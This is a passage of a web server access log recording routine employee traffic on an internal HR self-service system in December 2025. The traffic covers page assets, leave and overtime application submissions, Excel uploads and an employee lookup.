"http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:31:32 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 192.168.12.46 - - [03/Dec/2025:11:31:32 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:31:32 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:31:32 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 192.168.12.46 - - [03/Dec/2025:11:31:32 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:31:32 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 192.168.12.46 - - [03/Dec/2025:11:31:32 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:31:32 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 192.168.12.46 - - [03/Dec/2025:11:31:32 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:31:32 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 192.168.12.46 - - [03/Dec/2025:11:31:32 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:31:32 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 192.168.12.46 - - [03/Dec/2025:11:31:32 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:31:32 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 192.168.12.46 - - [03/Dec/2025:11:31:32 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:31:32 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 192.168.12.46 - - [03/Dec/2025:11:31:32 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:31:32 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 192.168.12.46 - - [03/Dec/2025:11:31:32 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:31:32 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 192.168.12.46 - - [03/Dec/2025:11:31:32 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:31:32 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 192.168.12.46 - - [03/Dec/2025:11:31:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9921 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:31:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9921 192.168.12.46 - - [03/Dec/2025:11:31:33 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697 192.168.12.46 - - [03/Dec/2025:11:31:33 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.136 - - [03/Dec/2025:11:31:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=CheckLeaveApplyTimeArea HTTP/1.1" 200 2 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:31:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=CheckLeaveApplyTimeArea HTTP/1.1" 200 2 192.168.11.136 - - [03/Dec/2025:11:31:58 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:31:58 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.136 - - [03/Dec/2025:11:31:59 +0800] "GET /eHR/ess/redirect.php?scriptname=page_error&msgtxt=%E8%AF%B7%E5%81%87%E5%8C%BA%E9%97%B4%E5%87%BA%E7%8E%B0%E4%B8%8E%E6%AD%A3%E5%9C%A8%E6%B5%81%E7%A8%8B%E4%B8%AD%E7%9A%84%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E8%B5%84%E6%96%99%E9%87%8D%E5%8F%A0.%5B%E7%94%B3%E8%AF%B7%E5%8D%95%E6%8F%90%E4%BA%A4%E6%88%96%E6%9A%82%E5%AD%98%E5%A4%B1%E8%B4%A5%5D&target=iframe HTTP/1.1" 200 3146 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:31:59 +0800] "GET /eHR/ess/redirect.php?scriptname=page_error&msgtxt=%E8%AF%B7%E5%81%87%E5%8C%BA%E9%97%B4%E5%87%BA%E7%8E%B0%E4%B8%8E%E6%AD%A3%E5%9C%A8%E6%B5%81%E7%A8%8B%E4%B8%AD%E7%9A%84%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E8%B5%84%E6%96%99%E9%87%8D%E5%8F%A0.%5B%E7%94%B3%E8%AF%B7%E5%8D%95%E6%8F%90%E4%BA%A4%E6%88%96%E6%9A%82%E5%AD%98%E5%A4%B1%E8%B4%A5%5D&target=iframe HTTP/1.1" 200 3146 192.168.11.136 - - [03/Dec/2025:11:32:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20903 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:32:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20903 192.168.12.46 - - [03/Dec/2025:11:32:23 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:32:23 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 192.168.12.46 - - [03/Dec/2025:11:32:23 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:32:23 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 192.168.12.46 - - [03/Dec/2025:11:32:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:32:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 192.168.12.46 - - [03/Dec/2025:11:32:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:32:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 192.168.12.46 - - [03/Dec/2025:11:32:27 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:32:27 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 192.168.12.46 - - [03/Dec/2025:11:32:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 120356 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:32:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 120356 192.168.12.46 - - [03/Dec/2025:11:32:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:32:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 192.168.12.46 - - [03/Dec/2025:11:32:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:32:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 192.168.12.46 - - [03/Dec/2025:11:40:42 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 123426 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:40:42 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 123426 192.168.12.46 - - [03/Dec/2025:11:44:41 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:44:41 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 192.168.12.46 - - [03/Dec/2025:11:44:41 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:44:41 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242 192.168.12.46 - - [03/Dec/2025:11:44:39 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:44:39 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.46 - - [03/Dec/2025:11:44:54 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.9709786053792484 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:44:54 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.9709786053792484 HTTP/1.1" 200 5264 192.168.12.46 - - [03/Dec/2025:11:44:58 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.9709786053792484 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.9709786053792484" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:44:58 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.9709786053792484 HTTP/1.1" 302 - 192.168.12.46 - - [03/Dec/2025:11:44:59 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 5116 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.9709786053792484" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:44:59 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 5116 192.168.12.46 - - [03/Dec/2025:11:45:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4890 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:45:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4890 192.168.12.46 - - [03/Dec/2025:11:45:16 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:45:16 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 192.168.12.46 - - [03/Dec/2025:11:45:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:45:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.46 - - [03/Dec/2025:11:46:09 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.5916931228807658 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:46:09 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.5916931228807658 HTTP/1.1" 200 5264 192.168.12.46 - - [03/Dec/2025:11:46:13 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.5916931228807658 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.5916931228807658" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:46:13 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.5916931228807658 HTTP/1.1" 302 - 192.168.12.46 - - [03/Dec/2025:11:46:13 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 6380 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.5916931228807658" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:46:13 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 6380 192.168.12.46 - - [03/Dec/2025:11:46:23 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 5979 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:46:23 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 5979 192.168.12.46 - - [03/Dec/2025:11:48:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:48:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.46 - - [03/Dec/2025:11:48:41 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.9952623656292302 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:48:41 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.9952623656292302 HTTP/1.1" 200 5264 192.168.12.46 - - [03/Dec/2025:11:48:44 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.9952623656292302 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.9952623656292302" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:48:44 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.9952623656292302 HTTP/1.1" 302 - 192.168.12.46 - - [03/Dec/2025:11:48:45 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 4887 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.9952623656292302" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:48:45 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 4887 192.168.12.46 - - [03/Dec/2025:11:48:47 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4686 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:48:47 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4686 192.168.12.46 - - [03/Dec/2025:11:49:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:49:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.46 - - [03/Dec/2025:11:49:12 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:49:12 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 192.168.12.46 - - [03/Dec/2025:11:49:27 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.1418608689166263 HTTP/1.1" 200 16608 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:49:27 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.1418608689166263 HTTP/1.1" 200 16608 192.168.12.46 - - [03/Dec/2025:11:49:29 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.1418608689166263 HTTP/1.1" 200 18813 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.1418608689166263" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:49:29 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.1418608689166263 HTTP/1.1" 200 18813 192.168.12.46 - - [03/Dec/2025:11:49:37 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4229 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 